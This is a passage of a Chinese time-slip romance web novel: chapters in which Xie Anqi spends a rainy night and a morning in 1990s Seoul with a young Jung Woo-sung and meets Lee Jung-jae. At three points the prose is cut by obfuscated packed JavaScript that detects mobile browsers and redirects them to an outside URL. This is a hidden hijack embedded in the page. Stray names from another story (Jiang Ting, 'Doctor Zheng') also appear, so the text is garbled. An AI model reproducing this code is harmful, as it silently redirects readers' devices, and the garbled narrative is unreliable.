最后郑禹胜还是在一楼的客卧呆着,尽管开了空调,他还是开了窗,倚靠在窗前,身后清凉的风,鼻尖尽是窗外潮湿炎热的温度。 他在吸烟,有些睡不着,不知道是在唾弃自己表面冠冕堂皇实则还是饮食男女,还是真的只是贪恋有她的空间,他手指收拢,拢着风偏头点烟,细碎的亮光在这雨夜中窸窣闪动。 就连烟现在也解答不了他的情绪。 看这暴雨一时半会不会停,郑禹胜灭了烟,关上窗,预备睡觉的时候听到楼上好大一声咣当, 郑禹胜连忙开门出去,循着声音往上跑,“怎么了?”他下意识问。 几秒后,谢安琪委屈又可怜的声音传来:“ 我没开手电,又被绊倒了。” 郑禹胜:“……” “你自己家的东西,还不是你自己不注意。”说话间,他蹲下来,想要扶她起来,但想到什么,又站起来半弯腰,嘴上说着不好意思,手抓着她的手腕把人拉起来。 等人拉起来才发现睡衣穿得歪七扭八的,细白伶直的锁骨近在眼前,甚至睡衣偏大的领口还能看到些不该看的,他的视线不自觉闪躲开。 但就在这种没有光的时候,反而很突兀,产生一种很微妙的默契,郑禹胜的手一直握着她的手腕,舍不得松开,谢安琪也没有先退开。 随后不知是谁的呼吸先重了几分,撞击耳膜。 还有不知道谁主动后十指相扣的手。 4. 第 4 章 “郑禹胜,你是怎么了?心跳这么快。” 谢安琪离郑禹胜不远不近的距离,手贴在他的胸口,贴着上衣感受到他呼吸的时候,心跳的速度。 郑禹胜没有推开她,只滚动两下喉结,语气带着不常见的情绪,连看着她的眼眸里都带着成年人的情愫,“ 还不是因为你的手。” “ ……” 谢安琪忍不住吐槽:“ 什么啊?那你能不能不要在这个时候还开玩笑了。” 郑禹胜很轻地笑了一声,把她捞起来扶正了,这才稍微往后退一点,掏出口袋里没来得及打开的手电,调了调光,照着她睡觉的屋子,示意她可以回去了。 他眼神看向四周,唯独没有看着离自己咫尺的谢安琪,而谢安琪却走进他身边,探头闻了闻他脖颈处,笑着说:“ 你刚才用的沐浴露是我的沐浴露。” 郑禹胜想起洗澡时看到的好几瓶瓶瓶罐罐的,他随便拿的一个,只是听她这么说还有别人的? “内?难道还有别人的沐浴露吗?” 其实也没有别人的沐浴露,只是她习惯用这款,每次购买的套装,套装里两个味道,另外一个自然是郑禹胜的,只是看着灿烂版的郑禹胜,谢安琪还是忍不住感叹果然是他灿烂的二十代。 就这一会看他回来时,拉起她的那一瞬间,谢安琪其实心里挺说不出自己的感觉的,就好像过于喜欢这个郑禹胜会让她有点负罪感。 但是灿烂版的郑禹胜真的很令人心动,而且是突然出现在她面前,本来就有点心思浮动的她好不容易变的接受这个事情,还没来得及完全平复心情的时候,这人就突然又出现了,虽然是为了救她,但谢安琪还是忍不住握着他的手。 她的动作郑禹胜倒是不大在意,没说什么。寂静雨夜,他们两人站在一块,雨声好似就响在耳畔。时间好像被放缓,在一呼一吸之间,他们不自觉对上目光。 然后,慢慢的,谢安琪不再看郑禹胜的脸,视线像是被别的东西吸引,抬起手,指尖靠近郑禹胜的脖子。右手食指的指腹很轻地碰触到他凸出的喉结。 原来他这时候喉结就这么好看了? “你的喉结真好看。” 谢安琪毫不吝啬地夸赞,仿佛真的只是在夸一个她觉得好看的东西,也真的把自己放在了努那的位子上,觉得这个时候她才是主导者。 可是拥有这个喉结的本人却并没她这样单纯自若。 郑禹胜的呼吸不自然几分,从喉结皮肤渗透而来的温度像一道道电流,穿到四肢百骸,连带着背脊僵硬。尤其当谢安琪抬头重新看他时,他认命地闭了闭眼,捉住谢安琪的手,从自己脖子那儿拿下。 他没说话,谢安琪正想说话,郑禹胜放开她手腕,开着手电筒把人用手电筒柄推回卧室,转过身欲走。 谢安琪马上拉住他衣摆,问:“你去哪?” 郑禹胜回头,露出个疑惑的表情:“除了下楼睡觉,还能去哪?” “噢……”谢安琪抿抿嘴巴,看起来不大想放郑禹胜走,但她想了想,还是点点头说:“那你去吧。” “ 反正我一个人看不清,没灯,进屋了还不是要摔倒?” “ 说不定很快就来电了。” “ 那我现在回屋里还是会看不清。” 没办法,郑禹胜在门口打着灯看她上床后才离开,正传身准备走,谢安琪又问,“那一会什么时候来电啊,我想开灯。” 郑禹胜忍了一下,叹气:“很快了,等门洞里都来电了,你在开灯。” 谢安琪眨了眨眼,有点儿委屈:“ 好吧。” “ 但是你不能陪陪我吗?三楼隔壁也有屋子,你去那里休息吧。” 谢安琪知道郑禹胜不是真的那么不近人情,虽然她跟郑禹胜大叔撒娇的时候十几有八成功,她也不知道自己在年轻版郑禹胜面前装可怜这招是不是百试百灵,但也是有成功率的。 就像现在,郑禹胜妥协了。 夏日夜晚,雨水不停,郑禹胜躺在谢安琪同层另一间屋子里,听着雨声入眠,空调风还是一样的舒缓,带来了太多的凉意让他暂时缓和一下自己的心情,有什么难的都能再熬一熬。 已经是凌晨时分,郑禹胜缓缓睡过去。 在房间里的谢安琪却翻来覆去睡不着。 说实话,她在空调房里热不着冻不着的,但是她想到自己连带着屋子突然出现在十几年前就觉得有些不可思议。 遇到这种事情,郑禹胜还能睡得着吗? 谢安琪反正睡不着,从床上起来,下床轻悄悄地打开房门。 走廊里很安静,郑禹胜没有锁门,屋里窗户那边的窗帘没有完全拉上,有路灯昏沉沉投射进来一点光亮。 这是一个单人床,似乎有些委屈江听,他手长脚长,侧着身子睡,连睡着时候,眉头都微微皱着。谢安琪小声走过来,蹲在床前托着下巴,盯着郑禹胜的脸看。 空调进出的凉风吹拂着眼前郑禹胜的发丝,也带动着她的发丝,还有吹动起她的心带起很大的波澜。 她伸手碰了下郑禹胜皱着的眉头,他似有察觉般侧了侧脑袋,但是没醒。 谢安琪不想吵醒江听,就收回手,继续看着他的脸,她现在知道了郑禹胜为什么会见着她就直接跟她谈结婚的事情。 两人各取所需,她就在韩国和郑禹胜登机了结婚,不过因为两人闪婚闪得太快了,他又去拍戏,别说大半个学期上看不到人,就这婚后都没见几次。 所以如果是单纯的男女朋友,她根本不会让郑禹胜进来,或者说希望现在的事情能变成回忆出现在郑禹胜脑海里,这样也能在以后跟她好好相处一下。 都说长大了好,可是谢安琪希望这个时候的郑禹胜能粘着她,这样她就是梦里的白月光了,至少以后郑禹胜对她也不至于那么凶, 但其实他嘴上说着别跟着他,可是还是会给她买礼物,给她安排好一切吃穿住行。在她忧虑课业实习的时候,也会帮她安排实习。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471763|169893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 所以即使两人是合约婚姻,但谢安琪一直有种错觉,在这个世界上,她总归还是跟郑禹胜应该有一段缘分,这样谁都不能欺负她,包括他自己。 …… 郑禹胜一直睡得不安稳,满脑子都是他又见到了小时候帮助他的努那,他目前的思路里还是在把她在鬼怪或者鬼神里来回归类,但也发现自己看到她的时候会心动。 就这样各种情绪夹杂在记忆里,半梦半醒间,感觉身旁有人。他睁开眼,半沉的夜色中,谢安琪的脸近在眼前。 郑禹胜愣了半刻,慌乱坐起,确信这不是自己的梦后,恍惚地将自己身上盖的薄毯扔到了谢安琪脑袋上。 仿佛不看见她的脸,他就能冷静一点。 谢安琪怎么会睡在这?坐在地板上,头靠着床,还睡得这么沉。 郑禹胜深呼吸几口,抬头看向阳台窗户。夏天的第一场雨不知什么时候停了,天边深蓝一片。 天快亮了,这些都不是梦。 他不再多停留,临走前,将谢安琪抱回原来的床上,怕她觉得被空调吹感冒,还是给她盖好了毯子,就好像她根本没有来过他床前一般。 - 天亮。 谢安琪被自然而然醒来,坐起来的时候只觉得肚子饿的咕咕叫,后知后觉自己睡在原本屋里。 都怪郑禹胜的脸太催眠,她看着看着就睡着了,她对郑禹胜可以说是完全不设防,不然也不会坐在他床边看着人睡着。 但是郑禹胜什么时候走的? 算了,她打电话让他去买点早饭吧,那时候再问好了。 谢安琪起来,去浴室洗了把脸,再一边刷牙一边去三楼露台收今天要穿的衣服,但是站在露台的时候,她莫名的没有进去露台。 眼前是破败的露台,完全没有她额外付费搭建的隔雨层,她担心自己踩进去可能就真的困在90年代的汉城,犹豫再三还是退了回去。 但很显然她从大门出去进来还算正常,好像这片地方是个例外,想到这谢安琪回到屋里,打开了窗户,她站在窗户边感受着空气。 再一抬头郑禹胜与谢安琪猝不及防打了个照面。 她这扇窗户打开,边上就是郑禹胜的卧室,两人隔着窗户望着。 郑禹胜看起来也是才起床一般,一件简单的T恤被他穿得干净挺阔,这会没有刘海挡在眼前,刚洗完头的他把头发抓去后面,这会到有了谢安琪刚认识他的感觉。 不知为何,想到这个后,谢安琪把目光落在了他薄薄一片的嘴唇上。想到网上对郑禹胜的描述。 他的眼鼻嘴是极度标致漂亮的,即使没有任何气质风格或男性魅力加成依然称得上美,而且粗犷的脸型和眉毛中和他精致的五官,让他整个人看着就能代入任何的角色。 怪不得能代入她的另一半,想到这她的耳朵不小心烫了一下,谢安琪真的承认郑禹胜的嘴巴,不止看起来……确实蛮好亲的,而是真的确实蛮好亲的。 5. 第 5 章 “早上好,你起来了?”郑禹胜隔着两家的窗户跟她说话,他很自然地跟她打着招呼,就好像两人很熟悉,认识了很多年一般,到现在他也是一样的打着招呼。 “ 内,早上好。” 说实话郑禹胜的容貌冲击力太大了而且看着很成熟稳重,她和郑禹胜一起看过他刚出道那几年的作品。 不止一次听着郑禹胜说要是她见到二十来岁的他一定会惊讶,肯定还会满脸惊艳。 谢安琪本来觉得应该不至于,毕竟天天看郑禹胜她已经看习惯他的眼角皱纹,谁知道见到他的这一瞬间真的体会到了当时郑禹胜的表情是什么含义了。 “ 你什么时候离开的?我醒来前你就回去了?” “醒来看到你睡在我旁边,我就是被吓走的。” “ 什么吗!” 谢安琪抱怨的尾音犹如风吹发丝在他心里碰触着说不清的情绪。 “ 走吧,我带你去吃早饭。” 话落两人约着一会门口见。 - 汉城的早上阳光充沛,门洞间地面除了泥土地还有积着昨夜雨水,一个土坑连着一个土坑里还有水外,其他地面都很干净。 谢安琪很快洗漱好,她想着自己第一次出这个门去了郑禹胜家里都没有关系,或者她可以赌一把,毕竟她要吃饭的,虽然韩国人不吃早饭。 但只是他们没有几家专门的早饭店而已,还是会有人去便利店买东西的。 谢安琪跳跃似的跨过门,转过身一边退一边观察门的变化,郑禹胜站在他身边,背影看来他把谢安琪整个人都挡住了。 他眼皮微微垂着,没有完全睁开眼,人显得非常放松,但看着黑眼圈知道这是一夜没睡好,看着谢安琪退后的样子,他单手摁住谢安琪的肩膀,将她扳过身,让她好好走路。 “ 不用担心,只要你不去露台,就不会真的被困在92年的汉城,自然而然你就会回去了,这个时候你不想多看看我吗。” 郑禹胜说完,弯腰凑到她面前,笑了起来,“ 你告诉我了很多事情,我都知道。” 嗯? 谢安琪有点迷茫,她什么时候说过? 这不是她第一次来汉城吗? “ 你的意思是,我还会回来汉城?” “ 对,还会回来,你记得以后备点黄金,应该未来的我也会帮你准备的,不用担心,努那。” 就郑禹胜扶着她肩膀这会,她用发圈很简单地束在后颈松松散散的马尾,无时无刻不在他的肌肤上打圈磨蹭,很快郑禹胜收回手,不动声色地握了握自己手心。 谢安琪转头,郁闷一样的瞪着郑禹胜,第一次感觉到逗弄了她的郑禹胜却忍不住扬唇,又将她的脸扳了回去。 前方就是分岔路口,谢安琪想着就要往左边拐去,却被郑禹胜扶着肩膀转到了右边的拐角,“ 是那边,便利店在右边的街道。” 谢安琪不甘不愿的:“我知道了。” 不知道是不是她见到的是二十来岁的郑禹胜,比起以后那个面上开心却心里总是藏着情绪的郑禹胜,现在的他显然藏不住很多情绪。 谢安琪乐的陪他,自己也变得好像是这个岁数的人一般,虽然按照当下比较她现在是努那了! 而郑禹胜本来是要去爷爷那边,但是他记着谢安琪叮嘱他这两天要过来这边,也就临时留在这边几天,那今天得过去一趟,不然爷爷不放心。 听他说陪她买完早饭就要离开,谢安琪哼他一声:“那你走就走呗,就留我一个人孤孤单单的好不可怜。” 就在郑禹胜想着怎么安慰她的时候,不远处传来一声清朗而陌生的男声:“雨盛啊。” 有人在喊郑禹胜,谢安琪和郑禹胜同时回头,一个身高与郑医生差不多的男生站在路口,脸上扬着笑,冲他挥手。 谢安琪看着那人走过来,她很隐约地蹙了眉头, 因为那人是李政栽,这要是见面了,她以后回去再见着李政栽。 还不得被好奇地问个彻底,毕竟谁能想到自己年轻的时候见到的女生二十多年后还是一样年轻,而且身边的人一直是郑禹胜…… 在她看到郑禹胜也在跟男生挥手打招呼的时候,谢安琪转身就往回跑去,听着人要过来了,她连忙闪身躲到门洞岔路口。 在李政宰朝他过来的时候,忍不住问:“刚才那个女生是谁?我以为你们认识?还想问是不是你女友呢?” “ 她是我女友,不过有点突然有点事情就先回去了。” 郑禹胜脸上的表情看不出太多变化,像是随口多问一句:“你怎么来找我了?” 李政宰想了想,扰扰头憨憨的说着:“最近有个我在拍一个广告,导演说还需要一个模特,我想说来找你去试试看。” 李政宰和郑禹胜一样,都是家境比较贫困而外貌优越,两人在当模特走秀的时候认识,一来二去的,他们便约好在有什么需要模特的时候,相互都通知一声。 “什么广告啊?”郑禹胜又问。 李政栽有什么说什么:“ 清净园的广告。” 说话间,李政宰已经走到郑禹胜面前。他属于清爽那一类的男生,头发剪得恰到好处,眉眼明亮,笑意开朗,笑起来的时候,眼睛像是狗狗眼。 和郑禹胜是不同风格的男生,李政宰挺喜欢这个家境和职业生涯都跟自己相似的同期,所以还挺喜欢找他的。比起李政宰眼里似乎只有郑禹胜,冲着他笑着邀请去拍摄广告。 郑禹胜这会很担心谢安琪一跑就迷路了,这片门洞对于新来的人其实并不简单,有些路走着走着就迷路了。 比如明明想逃离现场却从前面突然冒出来的谢安琪。 “ 你好,你是雨盛的女朋友吗?我刚下听他说你们在恋爱。” 李政宰不知道谢安琪是什么情况,突然在这个方向走出来碰见还是挺意外的。 谢安琪躲不掉了,只能指了一下不远处的那家便利店,说:“对,我们要去那家便利店。” 然后对于刚才的事情绝口不提。 “ 那你们过去吧。” “ 我们先过去了!” 郑禹胜和李政在一起开口,一个要带着女朋友离开现场,一个想着不耽误情侣时间晚点再找郑禹胜聊工作。 离开时后,为了维持人设,谢安琪顺手挽住郑禹胜的手臂,亲密而随意,说话时候,还仰头望着他:“你想吃金枪鱼包饭还是泡菜包饭?” 他稳着表情地抽出自己手臂,变成牵着她的手, 再看一眼李政宰打个招呼说再见,然后转身离去,利落的头也没回。 半天没有回复,谢安琪反而愣愣的,有点疑惑,反应略微迟钝想着郑禹胜这是生气了? “ 吃金枪鱼包饭吧。” 两人走了挺远,他才寻找一个合适的情绪回答着。 谢安琪反应过来,毫不掩饰问着:“那你这么久才回我,我还以为你生气了。” 郑禹胜抿唇不自然地笑了一笑,说要在说什么来隐藏属于少年的那点小心思,心脏像被酸酸涩涩的东西包裹,她必须得承认,他是高兴的,牵着谢安琪的手,他已经觉得自己牵着世界。 她侧头看到路上落着的郑禹胜和她的影子,背影单薄修长,逐渐贴近,她很轻地眨了下眼睛,考虑着什么。 郑医生没心思管别的事情,在便利店结算完东西,他把包饭扔进微波炉加热,两人坐在店里的小摊位吃着包饭。 他从宽松的休闲裤裤兜里掏出耳机,解开缠绕的耳机线,插进mp3听筒,他找了首歌听,只是音乐还没开始放前奏,右耳的耳机就被身旁人拿走。 郑禹胜不用看也知道是谢安琪戴上他的耳机,顺便凑近过来,在他的破旧mp3上找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471764|169893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着歌曲,里面好多都是香江电影里的歌曲,她随意点了歌单里的一首。 “ 这个歌还挺好听。” 谢安琪随便找着话题,她总是有办法调动郑禹胜说话,话题总是那么充足,说着指指窗外掠过的云朵,和灿烂的阳光,“天气这么好,你带我转转汉城呗。” 郑禹胜故作淡定地拿着mp3,垂着眼眸不敢看谢安琪。 “ 那吃完早饭的?” “ 可以啊,我再吃两块,你的泡菜包饭给我吃一口呗。” 谢安琪说着盯上郑禹胜手握的包饭。 两人买的都一个包装,但很显然看着吃东西当时就能发现谢安琪不是韩国人,没有哪个韩国人会把包饭的包装拆开,把紫菜包饭一块块用筷子夹着吃掉的。 “ 嗯,还是我这个金枪鱼的好吃。” “对了,你那个朋友看到了我,那以后怎么办?” “ 就说他记错了,我会知道怎么说的。” 说完这个郑禹胜不再说话,谢安琪这会抬眼望着他棱角分明的侧脸,下颌骨的线条真好看。她偷偷笑了笑,换个站姿后小心翼翼往郑禹胜身边凑凑。 出了便利店,郑禹胜身体放松几分,肩膀松懈下来,问她:“想去哪里玩?” “都可以呀,汉城有什么可以买东西的地方吗?” 郑禹胜想了想,他平时都不怎么逛的,反正也没有什么购买的机会,也干脆不去百货店之类的地方。 “ 要不去看电影?或者去百货店?” 谢安琪想也没想地回答:“ 百货店?有什么百货店吗?” 谢安琪还在想难道新罗,乐天 ,新世界百货店现在就有了吗? “ 去三丰百货吧?” “ 嗯?三丰百货?” 有这个百货店吗? “ 难道以后没有这个百货店了吗?我看他们家大业大不像是会关闭的。” 虽然谢安琪不知道三丰百货是不是哪个百货店的前身,但比起百货店她更好奇现在的电影,听她这么说,郑禹胜反而怔了下,不确定地问道:“看电影吗?” “对啊,看电影,而且我觉得你可以去当演员啊,这么优秀的脸蛋,简直是天才脸蛋啊。” “……” 他确实不知道自己还是天才脸蛋,难道看起来他学习就很好吗? “ 你要是当演员的话,以后就能有很多作品,我就可以看到你的很多作品。”谢安琪说着,悄悄笑了一下,凑过来像在郑禹胜耳边说悄悄话:“真的很想看到演员郑禹胜。” 演员? 郑禹胜其实有想过这个行业,或者说他也很喜欢自己出现在大荧幕,去演绎去体验不同的生活和角色。 电影里,总是有各种的世界,想到自己的作品,郑禹胜就有点莫名的开心,但现在的郑禹胜脸上没太大反应,只有嘴角微微上扬,郑安琪望着郑禹胜的脸,忽然觉得自己此刻的心跳加速,是因为他。 郑禹胜其实也一直观察谢安琪的表情,自然感受到她看过来的眼神,他被谢安琪的眼神撩的心脏微颤,耳廓微烫,表面却装得淡定,回应一声:“是么。” “当然,我又不是随便说说。” 谢安琪又问:“你难道不想吗??” 郑禹胜手指微曲,应着:“大概… 是想的。” 郑禹胜思绪稍真的在这个方面想过去,他才发现自己一瞬间就想着要当演员。谢安琪了解郑禹胜,看他此刻反应,就知道他刚刚在想什么。 她轻轻笑了一下,说:“ 你会是最好的演员。” 他们彼此对视,周边风吹的树木晃晃悠悠,光影照得他们年少的脸庞闪闪发光,谢安琪眼睫微颤,这会带着女孩的害羞。 她想告诉郑禹胜。 她是真的很想看到他在荧幕里的每一个角色。 等他,找到自己真正想做的事情。 6. 第 6 章 清晨的汉城虽然没有早餐店,但是有早起的小吃车,卖着鱼饼串原味的,炒年糕辣味的,还有鱼饼炒年糕,手指大小的迷你包饭。 小摊前的人流和路旁大妈大爷随地摆摊卖衣服卖生活用品的叫卖声构成了90年代汉城独有的烟火气。 眼前阳光倾洒,谢安琪在一个明朗夏日里见到了不一样的城市,这会她站在小吃摊前拿着纸杯放着鱼饼放着汤,咬一口鱼饼喝一口汤,囫囵着对郑禹胜说:“快来付钱。” “nei。” 郑禹胜对于谢安琪的自来熟一点都不意外,现在人都在这了,总不能不管,她的钱也用不了,不是他来还能是谁。 谢安琪一边吃鱼饼一边笑:“吃完了去哪里哦?你说带我去哪里玩?不会是去什么百货店吧。那里很无聊诶,百货店有什么好逛的。” 郑禹胜狭长的眼眸低垂,看着眼前的女孩,想了一下说:“十分钟你吃的完吗?” “内?” 郑禹胜目视前方,语气懒懒散散的,“吃完带你去个你想不到的地方。” 他说的意想不到的地方,绕过这条街就到了。 汉城的房子一直都这么小小一个,只是都是三层的屋塔房,这会还没有那么多公寓楼,除了商圈附近是高楼大厦外就没有什么高楼了。 郑禹胜带她走的路是跟她住的地方很相似的构造,就是错综复杂的门洞,高耸的坡和层层叠叠的楼梯,但就算是走进来也还能听到鱼饼车那边的热闹声。 他走在后面,看着谢安琪对汉城的好奇时而四处张望,刚往前没走多少,从岔路口跑出来的小孩撞在谢安琪身上,把她往郑禹胜的方向撞了过去。 郑禹胜年轻的时候脸上完全舒展的感觉,让人能感受到他莫名的忧郁却又性张力满满,眼睛太好看了,感觉他看个电线杆子都含情脉脉的。 演糙汉子的时候又能把性感和野性美结合在一起,外表充满力量感但声音又很温柔。 这些各种评价谢安琪都看过很多遍了,但比起荧幕上作品观看时复盘他的帅气,这会被郑医生抱在怀里的时候,谢安琪真切体验到了什么叫看电线杆都含情脉脉的。 “ mi an nei you 。” 小朋友连忙站住给两人鞠躬道歉,还有大人跟在身后, 他们刚走到眼前,几个人打了个照面,又看着小朋友的道歉,谢安琪一时间除了说没事,也不知道能说什么了。 郑禹胜第一反应是意外,随后便捏着谢安琪的手腕离开了,只因为对面的夫妻替孩子道歉的时候跟郑禹胜说了句,我们家孩子撞到你女朋友真的不好意思。 看一眼一脸害羞但又一本正经的郑禹胜拉着自己就往前走,谢安琪在后面埋怨一句:“ 不就说了我是你女友吗?走这么快做什么。” 郑禹胜回道:“他们跟我爷爷认识,快走不走我爷爷或者家里人就会见到你,那十几年后再见到你的时候,他们会怀疑的。” 谢安琪本身对这个话感到不信,但很快就想到自己跟郑禹胜家人见面的时候,他们欲言又止的表情,原来是因为这个…… 他们不会以为她是郑禹胜找的替身? 就那种白月光替身? 这种故事听起来就很有戏剧性,但似乎谢安琪也明白了为什么她觉得突然来找她协议结婚的郑禹胜如此奇怪。 原来只是她认识的比较晚而已。 看起来有点不相信,郑禹胜马上继续解释:“ 你不会不相信吧,我说的是真的,我不是因为她们说你是我… 嗯 … 女友我才拉着你快离开的,他们真的会问的……” 郑禹胜解释了一轮又一轮,只看着谢安琪一脸惊讶看着他身后,不知道发生了什么,郑禹胜转身看去,原来他家人就在不远处的拐角啊。 而且看样子还不知道听到哪里了! “ 呀!郑禹胜!你给我过来。” 有人走过来抓着郑禹胜的衣领就把人拽走了,谢安琪看着怎么感觉对方好像听到了不大对劲的事,难道听话听一半真的以为她是他的女朋友? 远处的人对着谢安琪左瞧瞧右瞧瞧,还没跟郑禹胜说上几句话,就看到郑禹胜又被抓着走了回来,原本那人一脸不耐烦看着郑禹胜,现在看着谢安琪的时候倒是温和。 “ 我听我们家雨盛说了,你们才开始恋爱没多久啊?这我也不知道我还以为这小子欺负人来着,那要是他有什么不好的,你跟我说,我帮你教育他。” 郑禹胜刚想开口说什么,就见对方表情不耐地 松手推着他赶紧带谢安琪该去哪去哪, 然后郑禹胜牵着她的手,把人带走了。 “姨母你先去市场吧。我们先进去了。” 谢安琪被郑禹胜牵着手走,像只迷茫的猫不知道发生了什么,走了好长一段路才问:“你这是要带我去哪?” “ 去借摩托车,带你去海边。” 被牵着走的谢安琪愣了几秒才对着前面的人回答:“去哪?” 她跟着走了几步才反应过来郑禹胜说的,骑摩托车去海边?从首尔… 不对,汉城骑车去看海?济州岛吗?还是釜山? 她终于明白过来自己刚才为什么会直觉不对劲。 这个年轻版的郑禹胜 不会是…… 脑袋不太好吧! 谢安琪想想,应该不是这样。她觉得自己对郑禹胜还是了解的,这人看着成熟稳重,但其实是个很有意思的人,说话风趣又富有成算。 就她想着事情这点时间,谢安琪被郑禹胜牵着拐进一家人,还没等她问出个所以然来,就又被郑禹胜用力捂住了眼睛。 眼前一黑,谢安琪忍不住抓着郑禹胜抱住他,整个人气急败坏的,单手打他捂在眼睛上的手:“郑禹胜,你现在在干什么!放开我!我都看不到了!” 然而江听没理她,只侧着头,目光落在刚好在穿衣服、面对此情此景一脸懵逼的李政栽身上,说了句:“快穿好衣服。” 李政栽最近在郑禹胜家附近咖啡店打工,咖啡店老板是他女友的父亲,连他住的地方也是女友名下的老房子,今天没有班,他就在院子里穿的随意了些。 这房子也跟郑禹胜爷爷住的房子临近,他刚起床准备去喝点水就回去继续睡回笼觉,哪想到郑禹胜会带谢安琪过来。 这时的他只穿了个大运动裤衩,光着上半身。 李政栽与郑禹胜目光交汇几秒,听到郑禹胜的话,反应了一下,扭头就往自己房间跑。 等人没影后,他才松手放开郑禹胜。 谢安琪气呼呼的,脸颊泛着层红,她不知道郑禹胜这是在干什么,但是回想了一下,不是很明白地问:“ 不会是你担心,他们都见过我的话,未来会质疑我是不是现在的这个人。” 郑禹胜顺手捂住她嘴巴,他的脸上难得有了一丝不易察觉的变化,耳根微微浮着粉:“别说了,你刚才也听见了,我骗家里人说我在恋爱,刚好你出现他们就以为你和我是情侣,这也就意味着如果你以后在在遇见我的话,如果我们还有机会能遇见的话……” 他的话没说完,但是谢安琪想着很多事情后,好像是明白郑禹胜的意思了,好像明白了他为什么会这样。 郑禹胜的手大,他的手心捏着谢安琪的胳膊,手心和她的胳膊紧贴,他先不自然地颤了眼睫,收回手,转身往房子里面走。 “ 呀! 雨盛啊! 你等等我,我就说你刚才捂我眼睛是不是有什么东西不让我看?” 郑禹胜停下,偏头轻轻挑眉:“你想看李政栽不穿上衣?” 谢安琪一脸错过什么,露出个惋惜的表情:“啊,他应该有腹肌的,错过了!” “ ……?要不我给你看我的?” 郑禹胜说完就往她身边走过去,反而是谢安琪笑着转头就走。 — 这片都是一个个屋塔房,每一栋屋塔房里面都有几家是带半地下的,郑禹胜爷爷家租出去的这个房子的半地下其实就是李政栽住的。 从李政栽住的地方上来,就看到郑禹胜的爷爷正坐在那晒太阳, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471765|169893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还有身边放着的清晨的朝鲜日报,刚去使唤人跑腿买回来的。 “爷爷。” 郑禹胜走过来,跟爷爷打了声招呼。 郑爷爷闻声抬头,摘下老花镜,说道:“回来了啊,吃过饭没有?” “吃过了。” 回来前,谢安琪吃不完的鱼饼,年糕,包饭都是他吃掉的 “爷爷好!” 谢安琪跟在郑禹胜后面打招呼,她倒是不怕郑爷爷认识她,毕竟她和郑禹胜在一起那一边都没有看到过郑爷爷。 老人家听到新的声音,转身瞧见人,眼角的皱纹更深:“ 啊,是安琪啊?好久没见到你了。” 郑禹胜不知道谢安琪怎么就冒出来打招呼了,更没想到爷爷竟然认识她,甚至他还放下报纸冲谢安琪招手,招呼谢安琪过来:“怎么突然来了,怎么来的?” 谢安琪走到老人家身前,脸上带着笑蹲了下来格外乖巧,“ 爷爷你认识我啊。” “ 我怎么会不认识你,你和wuli 雨盛不是在恋爱吗?他都给我们看过你的照片,就说你前几年都在海外读书来着。最近才回来吗?” “ 我… 对最近才回来。” “ 爷爷,雨盛什么时候给你看的我的照片啊。” 谢安琪也听懂了,她应该某一天就会正常回去了,而后又会有时空错位的情况,不然老人家怎么会看过她的照片。 “ 两年前见过,那时候他还不好意思。” 眼看着爷爷把自己所有的事情都要说出来了,郑禹胜也习了,不打算继续参与他们俩的聊天,反而去旁边摆弄爷爷姨妈送来的植物,他留下个宽厚的背影。 老爷子年纪大了,到时间就回屋休息,嫌外面日头太盛了,走之前还跟两人说躲着点太阳别晒到,等爷爷进了屋,院子里好像一下安静下来。 谢安琪走去郑禹胜身边,看他蹲在那里一个人手指碰着植物的叶子,一下一下的显得人郁闷得很, 日光照在他侧面,谢安琪转去另边,躲进他制造出的阴影里,在他身旁问:“ 我们等下真的要骑车去海边?那也太远了,路上好热啊,咱们就骑车在首… 汉城转转?” 问题一个接一个,郑禹胜倒很有耐心地一个一个回答:“你要觉得热就不去了,好。” 他把手收回插进裤兜,站直身体,补充一句:“不过我晚上要回来住了。” “ 啊,那我不就是要一个住了嘛?那你不会担心我吗?你不会想我吗?” 郑禹胜倏然怔滞,少年心跳在陡然停顿之后便剧烈跳动,可是没等他想好怎么反应,问这个问题的人却自顾自蹲了下来,托着下巴看着面前的植物。 “ 这是什么植物,有点好看,叶子圆圆的。” 郑禹胜:“……” 他在想,谢安琪知道她说了什么吗?或者说她好像知道了什么他想藏着的事情,但很显然现在的谢安琪好像又把刚才说的话放在了脑后。 郑禹胜比她高很多,又是站着,留出的影子刚好覆盖住娇小的她。 光看影子,好像他在抱着她。 他从来没有想到,除了两年前见到她后,又有机会见到她,再次遇见的时候他的心里有压不住的开心,好像随着日头渐升时开心的情绪也浓烈起来。 但郑禹胜发现两人间其实有着说不出的默契,或者谢安琪肯定有什么事情瞒着他,只是他不知道而已,或者说是时空交错间打乱了他们的默契,以致于错过很多第一时间的表达。 